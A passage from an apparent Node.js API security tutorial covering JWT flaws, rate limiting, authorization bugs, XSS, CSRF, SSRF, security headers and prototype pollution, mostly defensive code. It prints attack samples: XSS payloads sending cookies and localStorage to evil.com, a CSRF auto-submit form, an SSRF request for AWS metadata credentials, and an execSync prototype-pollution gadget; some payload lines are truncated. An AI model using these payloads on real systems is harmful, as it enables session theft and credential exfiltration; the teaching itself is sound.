2. Attacker steals RT-1 and uses it → Server issues RT-2 to attacker, invalidates RT-1
3. Legitimate user tries to use RT-1 → TOKEN NOT FOUND
→ Server detects reuse → ALL tokens for this user are revoked
→ Attacker's RT-2 is also invalidated
→ User must re-authenticate (secure reset)
Common JWT Vulnerabilities
┌──────────────────────────────────────────────────────────────────────────────────┐
│ JWT ATTACK VECTORS & DEFENSES │
├──────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. ALGORITHM CONFUSION ATTACK (alg: "none") │
│ Attack: Attacker changes header to {"alg": "none"} and removes signature │
│ Defense: Always specify allowed algorithms explicitly: │
│ jwt.verify(token, secret, { algorithms: ['HS256'] }) │
│ NEVER let the token dictate which algorithm to use │
│ │
│ 2. HMAC/RSA CONFUSION (RS256 → HS256) │
│ Attack: Server uses RS256 (asymmetric). Attacker changes alg to HS256 │
│ and signs with the PUBLIC key (which is known). │
│ Defense: Pin the algorithm in verification code, not from the token header │
│ │
│ 3. PAYLOAD TAMPERING (without secret) │
│ Attack: Attacker decodes payload, changes role to "admin", re-encodes │
│ Defense: This is what signatures prevent. Tampered payloads produce │
│ mismatched signatures → REJECTED automatically │
│ │
│ 4. TOKEN STORED IN localStorage (XSS Theft) │
│ Attack: XSS payload reads localStorage and exfiltrates token │
│ Defense: Store access tokens in memory (JS variable), refresh in httpOnly │
│ cookie. XSS cannot access httpOnly cookies. │
│ │
│ 5. MISSING EXPIRATION │
│ Attack: Tokens without exp claim are valid forever │
│ Defense: Always set exp. Reject tokens without exp in verification. │
│ │
│ 6. INSUFFICIENT SIGNATURE KEY │
│ Attack: Short or predictable secrets can be brute-forced offline │
│ Defense: Use a minimum 256-bit (32-byte) cryptographically random secret │
│ generated via: node -e "console.log(require('crypto') │
│ .randomBytes(64).toString('hex'))" │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
Sessions vs. JWTs: The Trade-off Analysis
┌───────────────────────────┬──────────────────────────┬──────────────────────────┐
│ Dimension │ Stateful Sessions │ Stateless JWTs │
├───────────────────────────┼──────────────────────────┼──────────────────────────┤
│ State Storage │ Server (Redis/DB) │ Client (token itself) │
│ Scalability │ Requires shared store │ No server state needed │
│ Instant Revocation │ ✅ Delete from Redis │ ❌ Wait for expiry* │
│ Cross-Service Auth │ ❌ Each service needs │ ✅ Any service verifies │
│ │ Redis access │ with shared secret │
│ Bandwidth │ ~32 byte cookie │ ~800 byte+ token │
│ Vulnerability to XSS │ httpOnly cookie safe │ Memory-stored safe, │
│ │ │ localStorage unsafe │
│ Logout │ Delete session = instant │ Requires blocklist/DB* │
│ Mobile / SPA Friendly │ Cookies can be awkward │ ✅ Bearer header native │
│ Microservices │ Centralized session store│ ✅ Decentralized verify │
├───────────────────────────┴──────────────────────────┴──────────────────────────┤
│ * JWT revocation requires a server-side blocklist (Redis set of revoked jti │
│ values), which partially negates the "stateless" advantage. │
│ │
│ RECOMMENDATION: Use JWTs for API-first / microservice architectures. │
│ Use sessions for traditional server-rendered apps. Many production systems │
│ use BOTH — JWTs for API auth + server-side refresh token storage for │
│ revocation capability. │
└─────────────────────────────────────────────────────────────────────────────────┘
6. Rate Limiting Strategies
Without rate limiting, your API is a buffet for attackers:
- Brute-Force Credential Attacks: 10,000 passwords per second against
/login - Denial of Service (DoS): Flooding computationally expensive endpoints (bcrypt hashing, PDF rendering)
- Enumeration Attacks: Discovering valid usernames/emails via
/forgot-password - Scraping: Extracting your entire database through unprotected list endpoints
Rate Limiting Algorithms Explained
A good developer should understand the underlying algorithms, not just the library API:
┌──────────────────────────────────────────────────────────────────────────────────┐
│ RATE LIMITING ALGORITHMS │
├──────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. FIXED WINDOW COUNTER │
│ ───────────────────── │
│ Divide time into fixed windows (e.g., 1-minute blocks). │
│ Count requests per window. Reset counter at window boundary. │
│ │
│ Window 1 (12:00-12:01): ██████████ 10/10 → BLOCKED after 10 │
│ Window 2 (12:01-12:02): ███░░░░░░░ 3/10 → Allowed │
│ │
│ Problem: "Boundary burst" — 10 requests at 12:00:59 + 10 at 12:01:00 │
│ = 20 requests in 2 seconds, double the intended rate! │
│ │
│ 2. SLIDING WINDOW LOG │
│ ────────────────────── │
│ Store timestamp of every request. Count requests in the last N seconds. │
│ Most accurate but highest memory: stores every individual timestamp. │
│ │
│ Requests: [12:00:01, 12:00:15, 12:00:30, 12:00:45, 12:00:58] │
│ At 12:01:05, remove timestamps older than 12:00:05 │
│ Remaining: [12:00:15, 12:00:30, 12:00:45, 12:00:58] = 4 requests │
│ │
│ 3. SLIDING WINDOW COUNTER (Best Balance) │
│ ─────────────────────────────────── │
│ Combines fixed window efficiency with sliding window accuracy. │
│ Uses weighted average of current and previous window. │
│ │
│ Previous window (12:00-12:01): 8 requests │
│ Current window (12:01-12:02): 3 requests (at 12:01:40, 67% through) │
│ Estimated rate = 8 × 0.33 + 3 = 5.64 requests → Under limit │
│ │
│ 4. TOKEN BUCKET │
│ ──────────── │
│ Bucket holds N tokens. Each request consumes 1 token. │
│ Tokens refill at a constant rate (e.g., 10 per minute). │
│ Allows short bursts (bucket can be full) with sustained rate control. │
│ │
│ Bucket: [████████░░] 8/10 tokens │
│ 3 requests arrive → [█████░░░░░] 5/10 tokens │
│ 30 seconds later, 5 tokens refill → [██████████] 10/10 │
│ │
│ Used by: AWS API Gateway, Stripe, GitHub API │
│ │
│ 5. LEAKY BUCKET │
│ ──────────── │
│ Requests enter a FIFO queue. Queue drains at a constant rate. │
│ If queue is full, new requests are dropped. │
│ Provides perfectly smooth output rate (no bursts). │
│ │
│ Queue: [req1, req2, req3] ──drip──drip──drip──► (constant rate) │
│ New request when full: DROPPED (429 Too Many Requests) │
│ │
│ Used by: Nginx (limit_req), network traffic shaping │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
In-Memory vs. Distributed Rate Limiting
❌ In-Memory Limiter (Broken in production with multiple replicas):
┌──► Node Instance 1 (Counter: 5/10)
Client Spams ──┼──► Node Instance 2 (Counter: 5/10) ==> Total 15 requests allowed!
└──► Node Instance 3 (Counter: 5/10)
✅ Distributed Redis Limiter (Shared state across all instances):
┌──► Node Instance 1 ──┐
Client Spams ──┼──► Node Instance 2 ──┼──► Shared Redis Cluster
└──► Node Instance 3 ──┘ (Accurate global counter: 15/10 → 429 BLOCKED)
Production Implementation with Redis
pnpm add express-rate-limit rate-limit-redis ioredis
// src/common/middleware/rate-limiter.middleware.ts
import rateLimit from 'express-rate-limit';
import RedisStore from 'rate-limit-redis';
import Redis from 'ioredis';
import { ApiError } from '../errors/api-error';
const redisClient = new Redis(process.env.REDIS_URL || 'redis://localhost:6379');
// 1. General API rate limiter: 100 requests per 1-minute window
export const apiLimiter = rateLimit({
windowMs: 60 * 1000,
max: 100,
standardHeaders: true, // Return RateLimit-Limit, RateLimit-Remaining, RateLimit-Reset
legacyHeaders: false, // Disable deprecated X-RateLimit-* headers
store: new RedisStore({
sendCommand: (...args: string[]) => redisClient.call(args[0], ...args.slice(1)),
prefix: 'rl:api:',
}),
// Use a compound key: authenticated user ID OR IP address
keyGenerator: (req) => req.user?.id || req.ip,
handler: (req, res, next) => {
next(ApiError.tooManyRequests('Too many requests. Please try again after 60 seconds.'));
},
});
// 2. Strict Auth limiter: 5 attempts per 15-minute window
export const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5,
store: new RedisStore({
sendCommand: (...args: string[]) => redisClient.call(args[0], ...args.slice(1)),
prefix: 'rl:auth:',
}),
// Key by both IP and email to prevent distributed attacks and account lockout DoS
keyGenerator: (req) => `${req.ip}:${req.body?.email || 'unknown'}`,
skipSuccessfulRequests: true, // Only count FAILED attempts
handler: (req, res, next) => {
next(ApiError.tooManyRequests('Too many login attempts. Account temporarily locked for 15 minutes.'));
},
});
// 3. Sensitive operations limiter (password reset, email verification)
export const sensitiveLimiter = rateLimit({
windowMs: 60 * 60 * 1000, // 1 hour
max: 3,
store: new RedisStore({
sendCommand: (...args: string[]) => redisClient.call(args[0], ...args.slice(1)),
prefix: 'rl:sensitive:',
}),
handler: (req, res, next) => {
next(ApiError.tooManyRequests('Too many attempts. Please try again after 1 hour.'));
},
});
[!TIP] Interview Insight: When asked about rate limiting strategies, mention the key generator design. Using IP alone allows authenticated users behind NAT to block each other. Using user ID alone allows unauthenticated brute-force. The best approach is a compound key:
userId || IPfor general limits, andIP + emailfor auth endpoints.
7. Authorization Vulnerabilities: BOLA & BFLA
According to OWASP API Security Top 10, Broken Object-Level Authorization (BOLA) is the #1 API vulnerability, and Broken Function-Level Authorization (BFLA) is #5. These are distinct vulnerability classes that exploit different dimensions of authorization.
BOLA (Broken Object-Level Authorization) — aka IDOR
BOLA occurs when an API endpoint correctly identifies the user but does not verify that the user owns or has permission to access the specific resource identified by the request parameter.
The Attack Vector
GET /api/v1/invoices/inv_9847291 HTTP/1.1
Authorization: Bearer <valid_jwt_for_user_A>
A naive controller retrieves the record purely by primary key:
// ❌ VULNERABLE: Verifies identity (JWT is valid) but NOT resource ownership
export async function getInvoice(req: Request, res: Response) {
const { id } = req.params;
const invoice = await invoiceRepo.findById(id);
if (!invoice) {
throw ApiError.notFound('Invoice not found');
}
// User A can view User B's private invoice simply by changing the ID!
res.json({ success: true, data: invoice });
}
The Defense: Tenant & Ownership Boundary Enforcement
Always scope database queries by the authenticated user's identity:
// ✅ SECURE: Query enforces BOTH resource ID AND ownership boundary
export async function getInvoice(req: Request, res: Response) {
const { id } = req.params;
const currentUserId = req.user.id;
const invoice = await db.query.invoices.findFirst({
where: and(
eq(invoices.id, id),
eq(invoices.userId, currentUserId) // 🔒 Ownership constraint
),
});
if (!invoice) {
// Return 404 instead of 403 to prevent resource ID enumeration
throw ApiError.notFound('Invoice not found');
}
ApiResponse.ok(res, 'Invoice retrieved', invoice);
}
[!TIP] Security Best Practice: When an unauthorized user attempts to access a resource belonging to someone else, return a 404 Not Found instead of 403 Forbidden. Returning 403 confirms the resource exists, enabling ID harvesting attacks.
Advanced BOLA Patterns
BOLA isn't limited to simple GET requests. Watch for these patterns:
┌──────────────────────────────────────────────────────────────────────────────────┐
│ ADVANCED BOLA ATTACK PATTERNS │
├──────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. HORIZONTAL ESCALATION (Same role, different user's data) │
│ GET /api/users/42/medical-records → User 43 accesses User 42's records │
│ │
│ 2. MASS ASSIGNMENT BOLA │
│ PUT /api/orders/123 { "userId": "attacker_id" } │
│ → Attacker reassigns someone else's order to themselves │
│ │
│ 3. NESTED RESOURCE BOLA │
│ GET /api/orgs/1/projects/5/files/10 │
│ → Verifies org membership but not project membership │
│ → User in org 1 accesses files from project 5 they shouldn't see │
│ │
│ 4. REFERENCE-BASED BOLA │
│ POST /api/reports { "dataSource": "/api/users/42/salary" } │
│ → API fetches the referenced URL internally without ownership check │
│ │
│ 5. SEQUENTIAL ID ENUMERATION │
│ GET /api/invoices/1001 → 200, GET /api/invoices/1002 → 200 ... │
│ → Sequential numeric IDs make enumeration trivial │
│ Defense: Use UUIDs (v4) for all resource IDs │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
BFLA (Broken Function-Level Authorization)
BFLA occurs when an API endpoint does not verify that the user has the correct role or permission to perform a specific action, even though they are authenticated.
// ❌ VULNERABLE: Any authenticated user can delete ANY user — no role check!
app.delete('/api/admin/users/:id', protect, async (req, res) => {
await db.delete(users).where(eq(users.id, req.params.id));
res.json({ success: true, message: 'User deleted' });
});
An attacker discovers the admin endpoint URL (via client-side JavaScript, API docs, or guessing) and calls it with their regular user JWT:
DELETE /api/admin/users/user_42 HTTP/1.1
Authorization: Bearer <regular_user_jwt>
The Defense: Role-Based Authorization Middleware
// ✅ SECURE: Chained middleware enforces both authentication AND role authorization
app.delete(
'/api/admin/users/:id',
protect, // 1. Verify JWT → sets req.user
authorize('admin'), // 2. Verify req.user.role === 'admin'
async (req, res) => {
await db.delete(users).where(eq(users.id, req.params.id));
res.json({ success: true, message: 'User deleted' });
}
);
// The authorize middleware
function authorize(...allowedRoles: string[]) {
return (req: Request, res: Response, next: NextFunction) => {
if (!req.user || !allowedRoles.includes(req.user.role)) {
throw ApiError.forbidden(`Requires one of: ${allowedRoles.join(', ')}`);
}
next();
};
}
[!IMPORTANT] Critical Principle: Authorization must ALWAYS be enforced server-side. Never rely on hiding UI elements (buttons, menu items) as a security control. An attacker with browser DevTools or
curlbypasses any client-side restriction.
8. Cross-Site Scripting (XSS)
XSS is the most prevalent client-side vulnerability. It occurs when an application includes untrusted data in a web page without proper validation or escaping, allowing an attacker to execute arbitrary JavaScript in a victim's browser.
Three Types of XSS
┌──────────────────────────────────────────────────────────────────────────────────┐
│ XSS ATTACK TAXONOMY │
├──────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. REFLECTED XSS (Non-Persistent) │
│ ───────────────────────────────── │
│ Payload is in the REQUEST (URL parameter, form field) and reflected │
│ immediately in the RESPONSE without sanitization. │
│ │
│ Attack URL: │
│ https://shop.com/search?q=<script>document.location='https://evil.com/' │
│ +document.cookie</script> │
│ │
│ Server renders: <p>Results for: <script>...</script></p> │
│ Browser executes the script → cookies sent to attacker │
│ │
│ Delivery: Attacker sends the malicious URL to victim via email/chat │
│ │
│ 2. STORED XSS (Persistent) — MOST DANGEROUS │
│ ──────────────────────────────────────────── │
│ Payload is STORED in the database (comment, profile bio, forum post) │
│ and rendered to every user who views the page. │
│ │
│ Attacker posts a comment: │
│ "Great article! <img src=x │
│ document.cookie}`)'>" │
│ │
│ Every user who views the comment → their cookies are stolen │
│ This is self-propagating — no social engineering needed after injection │
│ │
│ 3. DOM-BASED XSS │
│ ───────────────── │
│ Payload never goes to the server. JavaScript on the page reads from │
│ an attacker-controlled source (URL hash, postMessage) and writes to │
│ a dangerous sink (innerHTML, eval, document.write). │
│ │
│ Vulnerable client code: │
│ const name = new URLSearchParams(location.search).get('name'); │
│ document.getElementById('greeting').innerHTML = `Hello, ${name}!`; │
│ │
│ Attack URL: https://app.com/page?name=<img src=x │
│ The server never sees the payload — entirely client-side vulnerability │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
Real-World XSS Payload Analysis
Beyond <script>alert(1)</script>, real attackers use sophisticated payloads that bypass naive filters:
┌──────────────────────────────────────────────────────────────────────────────────┐
│ REAL-WORLD XSS PAYLOADS │
├──────────────────────────────────────────────────────────────────────────────────┤
│ │
│ Event Handler Injection (no <script> tag needed): │
│ <img src=x │
│ <svg │
│ <body │
│ <input autofocus> │
│ │
│ Filter Bypass Techniques: │
│ <ScRiPt>alert(1)</ScRiPt> (mixed case) │
│ <script>alert(String.fromCharCode(88,83,83))</script> (char code encoding) │
│ <a href="#">Click me</a> (javascript: protocol) │
│ <div style="background:url(javascript:alert(1))"> (CSS injection) │
│ │
│ Cookie Theft (the actual attack): │
│ <script> │
│ new Image().src = "https://evil.com/steal?c=" + document.cookie; │
│ </script> │
│ │
│ Session Hijacking via Fetch: │
│ <script> │
│ fetch('https://evil.com/log', { │
│ method: 'POST', │
│ body: JSON.stringify({ │
│ cookies: document.cookie, │
│ localStorage: JSON.stringify(localStorage), │
│ url: location.href │
│ }) │
│ }); │
│ </script> │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
XSS Defenses — Defense in Depth
A single defense is never enough. Apply multiple layers:
1. Output Encoding/Escaping (Primary Defense)
// ✅ SECURE: Escape HTML entities before rendering user content
function escapeHtml(unsafe: string): string {
return unsafe
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// Now: <script>alert(1)</script> renders as visible text, not executable code
// Output: <script>alert(1)</script>
2. Content Security Policy (CSP) Header
CSP is the most powerful defense against XSS. It tells the browser which sources of scripts are allowed:
// Even if an attacker injects <script>alert(1)</script>,
// the browser REFUSES to execute it because inline scripts are not in the CSP allowlist
helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // Only scripts from our own origin
// NO 'unsafe-inline' — this blocks ALL inline <script> tags
// NO 'unsafe-eval' — this blocks eval(), new Function(), setTimeout(string)
styleSrc: ["'self'", "'unsafe-inline'"], // Inline styles often needed for frameworks
imgSrc: ["'self'", 'data:', 'https://cdn.consistcode.com'],
connectSrc: ["'self'", 'https://api.consistcode.com'],
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
objectSrc: ["'none'"], // Block Flash, Java applets
frameAncestors: ["'none'"], // Prevent clickjacking via iframes
baseUri: ["'self'"], // Prevent <base> tag hijacking
formAction: ["'self'"], // Forms can only submit to our origin
upgradeInsecureRequests: [], // Auto-upgrade HTTP → HTTPS
},
},
});
3. React/Next.js Built-in Protection
React and Next.js automatically escape JSX expressions, providing strong default XSS protection:
// ✅ SAFE: React automatically escapes this — renders as text, not HTML
function UserComment({ comment }: { comment: string }) {
return <p>{comment}</p>;
// If comment = "<script>alert(1)</script>", React renders it as visible text
}
// ❌ DANGEROUS: dangerouslySetInnerHTML bypasses React's escaping
function UnsafeComment({ comment }: { comment: string }) {
return <p dangerouslySetInnerHTML={{ __html: comment }} />;
// If comment contains a script tag, it WILL execute
}
[!WARNING] Critical Rule: Never use
dangerouslySetInnerHTMLwith user-supplied content. If you must render rich HTML (e.g., markdown), use a sanitization library likeDOMPurifyto strip all executable elements before rendering.
4. Input Sanitization with DOMPurify
import DOMPurify from 'isomorphic-dompurify';
// For cases where you MUST render user-provided HTML (blog posts, rich text editors)
const cleanHtml = DOMPurify.sanitize(userProvidedHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
ALLOW_DATA_ATTR: false,
ADD_ATTR: ['target'], // Allow target="_blank"
});
// All <script>, onerror, onclick, javascript: URLs are stripped
9. Cross-Site Request Forgery (CSRF)
CSRF exploits the browser's automatic cookie behavior: when you visit any website, the browser automatically attaches all cookies for the target domain — even if the request was initiated by a malicious third-party site.
How CSRF Works
┌──────────────────────────────────────────────────────────────────────────────────┐
│ CSRF ATTACK FLOW │
├──────────────────────────────────────────────────────────────────────────────────┤
│ │
│ SETUP: User is logged into bank.com (session cookie stored in browser) │
│ │
│ 1. User visits evil.com (attacker's website) while still logged into bank.com │
│ │
│ 2. evil.com contains a hidden form: │
│ <form action="https://bank.com/transfer" method="POST"> │
│ <input type="hidden" name="to" value="attacker_account"> │
│ <input type="hidden" name="amount" value="10000"> │
│ </form> │
│ <script>document.forms[0].submit();</script> │
│ │
│ 3. Browser submits the form to bank.com │
│ → Browser AUTOMATICALLY includes the bank.com session cookie │
│ → bank.com sees a valid authenticated request │
│ → $10,000 transferred to attacker's account │
│ │
│ 4. The user never clicked anything — the JavaScript auto-submitted the form │
│ │
│ │
│ WHY IT WORKS: │
│ ┌─────────────┐ POST /transfer ┌─────────────┐ │
│ │ evil.com │ ──────────────────────► │ bank.com │ │
│ │ (attacker) │ Cookie: sid=abc123 │ (victim's │ │
│ └─────────────┘ (auto-attached by │ bank) │ │
│ browser!) └─────────────┘ │
│ │
│ The browser doesn't care WHERE the request originated. │
│ It only cares about the DESTINATION domain for cookie attachment. │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
CSRF Defenses
1. SameSite Cookie Attribute (Modern Primary Defense)
The SameSite attribute was specifically designed to prevent CSRF:
res.cookie('sid', sessionId, {
sameSite: 'lax', // Cookie NOT sent on cross-origin POST/PUT/DELETE
// Cookie IS sent on top-level navigations (clicking a link)
httpOnly: true,
secure: true,
});
SameSite=Strict: Cookie never sent on any cross-origin request. Maximum protection but can break legitimate flows (clicking a link from email appears logged out).SameSite=Lax(recommended): Cookie sent on top-level navigations (GET from links) but NOT on cross-origin form submissions,fetch(), orXMLHttpRequest. Best balance of security and usability.SameSite=None: Cookie always sent cross-origin (must setSecure). Required for third-party cookies but provides zero CSRF protection.
2. CSRF Tokens (Traditional Defense)
For older browsers that don't support SameSite, or as defense-in-depth:
import csrf from 'csurf';
// Generate a unique CSRF token per session
app.use(csrf({ cookie: false })); // Store in session, not cookie
// Render the token in forms
app.get('/transfer', (req, res) => {
res.render('transfer', { csrfToken: req.csrfToken() });
});
// Template:
// <form method="POST" action="/transfer">
// <input type="hidden" name="_csrf" value="<%= csrfToken %>">
// ...
// </form>
// The middleware automatically validates the _csrf field on POST requests
// evil.com cannot read or guess this token (Same-Origin Policy prevents it)
3. Custom Request Headers for APIs
For AJAX-heavy SPAs, require a custom header that the browser will not send automatically:
// Client-side: Add a custom header to all API requests
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest', // Custom header
},
body: JSON.stringify({ to: 'account', amount: 100 }),
});
// Server-side: Reject requests without the custom header
app.use('/api', (req, res, next) => {
if (req.method !== 'GET' && req.headers['x-requested-with'] !== 'XMLHttpRequest') {
throw ApiError.forbidden('Missing required header');
}
next();
});
[!TIP] Why custom headers work: Simple HTML forms and
<img>tags cannot set custom HTTP headers. Only JavaScript'sfetch()orXMLHttpRequestcan, and these are subject to CORS preflight checks. A cross-origin malicious site cannot send a request with a custom header without the server explicitly allowing it via CORS.
10. Server-Side Request Forgery (SSRF)
SSRF occurs when an application accepts a URL from a user and makes a backend HTTP request to that URL without validating the destination. The request originates from inside your cloud VPC, where it can access internal services that are unreachable from the internet.
The Capital One Breach (2019) — A Real SSRF Attack
The Capital One breach that exposed 106 million credit applications was caused by SSRF:
1. Attacker found a misconfigured WAF (Web Application Firewall) on AWS
2. Sent a crafted request to the WAF that made it query the EC2 metadata service:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. The metadata service returned temporary AWS IAM credentials
4. Attacker used those credentials to access S3 buckets containing customer data
5. Cost: $80 million fine + massive reputational damage
The Attack in Node.js
POST /api/v1/users/import-avatar HTTP/1.1
Content-Type: application/json
{
"avatarUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
If the backend does fetch(req.body.avatarUrl), the request goes to the AWS Instance Metadata Service from inside the VPC, returning IAM credentials.
The Defense: URL Validation & DNS Resolution
// src/common/utils/ssrf-guard.ts
import dns from 'node:dns/promises';
import { ApiError } from '../errors/api-error';
export class SsrfGuard {
private static readonly BLOCKED_IP_PATTERNS = [
/^127\./, // Localhost (127.0.0.0/8)
/^10\./, // Private Class A (10.0.0.0/8)
/^172\.(1[6-9]|2[0-9]|3[0-1])\./, // Private Class B (172.16.0.0/12)
/^192\.168\./, // Private Class C (192.168.0.0/16)
/^169\.254\./, // Link-local / AWS IMDS (169.254.0.0/16)
/^0\./, // Current network
/^::1$/, // IPv6 localhost
/^fc00:/, // IPv6 unique local
/^fe80:/, // IPv6 link-local
];
/**
* Validates that a user-provided URL resolves strictly to a public routable IP.
* Performs DNS resolution to catch DNS rebinding attacks.
*/
public static async validateSafeUrl(rawUrl: string): Promise<URL> {
const parsed = new URL(rawUrl);
// 1. Only allow HTTP/HTTPS protocols (block file://, gopher://, dict://)
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
throw ApiError.badRequest('Only HTTP and HTTPS protocols are permitted.');
}
// 2. Block requests to metadata IPs directly in the hostname
for (const pattern of this.BLOCKED_IP_PATTERNS) {
if (pattern.test(parsed.hostname)) {
throw ApiError.forbidden('Access to internal network addresses is forbidden.');
}
}
// 3. Resolve DNS hostname to IP addresses and validate each one
// This catches DNS rebinding attacks where a hostname initially resolves
// to a public IP but later resolves to an internal IP
const addresses = await dns.resolve4(parsed.hostname).catch(() => {
throw ApiError.badRequest('Could not resolve hostname.');
});
for (const ip of addresses) {
for (const pattern of this.BLOCKED_IP_PATTERNS) {
if (pattern.test(ip)) {
throw ApiError.forbidden('Hostname resolves to an internal network address.');
}
}
}
return parsed;
}
}
[!CAUTION] DNS Rebinding Attack: An advanced SSRF technique where the attacker's DNS server initially returns a public IP (passing validation), then quickly changes to return
169.254.169.254for the actual request. Defense: Resolve DNS yourself, pin the IP, and make the HTTP request to the resolved IP directly instead of the hostname.
11. Hardening HTTP Headers with Helmet.js
By default, an Express server exposes revealing headers and lacks critical security controls. Helmet is a foundational security middleware that sets 15+ HTTP headers in a single middleware call.
pnpm add helmet
// src/common/middleware/security.middleware.ts
import helmet from 'helmet';
export const configureSecurityHeaders = () => {
return helmet({
// 1. Content Security Policy — THE most important security header
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:', 'https://cdn.consistcode.com'],
connectSrc: ["'self'", 'https://api.consistcode.com'],
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
objectSrc: ["'none'"],
upgradeInsecureRequests: [],
},
},
// 2. HTTP Strict Transport Security — Forces HTTPS for 1 year
hsts: {
maxAge: 31536000, // 365 days
includeSubDomains: true, // Apply to all subdomains
preload: true, // Submit to browser's HSTS preload list
},
// 3. Prevent Clickjacking — Disallows rendering in <iframe>
frameguard: { action: 'deny' },
// 4. Prevent MIME Sniffing — Forces browser to honor Content-Type
noSniff: true,
// 5. Hide Express signature — Removes X-Powered-By header
hidePoweredBy: true,
// 6. Referrer Policy — Control what URL info is sent to other sites
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
// 7. Cross-Origin policies — Isolate your origin
crossOriginEmbedderPolicy: true,
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' },
// 8. DNS Prefetch Control — Prevent DNS leaks
dnsPrefetchControl: { allow: false },
// 9. Permitted Cross-Domain Policies — Block Flash/PDF cross-domain
permittedCrossDomainPolicies: { permittedPolicies: 'none' },
});
};
┌──────────────────────────────────────────────────────────────────────────────────┐
│ SECURITY HEADERS QUICK REFERENCE │
├──────────────────────────┬───────────────────────────────────────────────────────┤
│ Header │ What It Prevents │
├──────────────────────────┼───────────────────────────────────────────────────────┤
│ Content-Security-Policy │ XSS, data injection, clickjacking │
│ Strict-Transport-Security│ Protocol downgrade attacks (HTTPS → HTTP) │
│ X-Frame-Options │ Clickjacking (iframe embedding) │
│ X-Content-Type-Options │ MIME type sniffing (nosniff) │
│ X-Powered-By (removed) │ Framework fingerprinting │
│ Referrer-Policy │ URL leakage to third parties │
│ Cross-Origin-Opener │ Cross-origin window.opener attacks │
│ Cross-Origin-Embedder │ Spectre-like side-channel data leaks │
│ Cross-Origin-Resource │ Cross-origin resource loading │
│ Permissions-Policy │ Camera, microphone, geolocation abuse │
└──────────────────────────┴───────────────────────────────────────────────────────┘
12. Supply Chain Security & Prototype Pollution
Prototype Pollution
In JavaScript, every object inherits from Object.prototype. If an application merges unvalidated JSON payloads using unsafe deep-merge utilities, an attacker can inject properties that affect every object in the runtime:
// Malicious payload crafted by attacker:
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
// Unsafe deep merge (lodash.merge, Object.assign, spread on nested objects)
Object.assign({}, payload);
// Now EVERY object in the entire Node.js process inherits isAdmin!
const ordinaryUser = {};
console.log(ordinaryUser.isAdmin); // true! 💀
// This can escalate to RCE in some frameworks:
// If a template engine checks obj.constructor, or
// if an ORM checks obj.where, the attacker controls execution flow
Prototype Pollution Attack Chains
Prototype pollution alone isn't usually the end goal — it's a gadget that chains into more dangerous vulnerabilities:
┌──────────────────────────────────────────────────────────────────────────────────┐
│ PROTOTYPE POLLUTION ATTACK CHAINS │
├──────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. PRIVILEGE ESCALATION │
│ Pollute: Object.prototype.role = "admin" │
│ If code checks: if (user.role === "admin") → grants admin access │
│ │
│ 2. REMOTE CODE EXECUTION (via template engines) │
│ Pollute: Object.prototype.outputFunctionName = "x;process.mainModule │
│ .require('child_process').execSync('whoami')//" │
│ If EJS/Pug renders a template → RCE on the server │
│ │
│ 3. DENIAL OF SERVICE │
│ Pollute: Object.prototype.toString = undefined │
│ → Every .toString() call crashes → application-wide DoS │
│ │
│ 4. AUTHENTICATION BYPASS │
│ Pollute: Object.prototype.verified = true │
│ If code checks: if (token.verified) → bypass auth verification │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
Defenses Against Prototype Pollution
// 1. Zod Validation — strips __proto__ and constructor automatically
const schema = z.object({
name: z.string(),
settings: z.record(z.unknown()), // Only allows known primitive types
});
// 2. Object.create(null) — creates objects with NO prototype
const safeDict = Object.create(null);
safeDict.__proto__ = 'malicious'; // This is just a regular property, not the prototype chain
console.log(({}).isAdmin); // undefined — prototype was never polluted
// 3. Map — use Map instead of plain objects for dynamic key-value storage
const safeMap = new Map();
safeMap.set('__proto__', 'value'); // Just a regular Map entry, no pollution
// 4. Object.freeze — freeze the prototype to prevent modification
Object.freeze(Object.prototype); // WARNING: May break some libraries
// 5. Node.js CLI flag — disable __proto__ entirely
// node --disable-proto=throw app.js
// Any access to __proto__ throws a TypeError
Supply Chain Security
A typical Node.js application has hundreds to thousands of transitive dependencies. Each dependency is a potential attack vector.
Notable supply chain attacks:
- event-stream (2018): Malicious code injected into a popular npm package, targeting Bitcoin wallets
- ua-parser-js (2021): Compromised package installed crypto miners on developer machines
- colors.js (2022): Maintainer deliberately sabotaged their own package to protest
┌──────────────────────────────────────────────────────────────────────────────────┐
│ SUPPLY CHAIN SECURITY CHECKLIST │
├──────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. DEPENDENCY AUDITING IN CI/CD │
│ pnpm audit --prod # Check production dependencies │
│ pnpm audit --audit-level high # Fail CI on high/critical vulns │
│ │
│ 2. LOCKFILE INTEGRITY │
│ pnpm install --frozen-lockfile # CI should NEVER modify the lockfile │
│ Commit pnpm-lock.yaml to version control │
│ │
│ 3. MINIMAL DEPENDENCY POLICY │
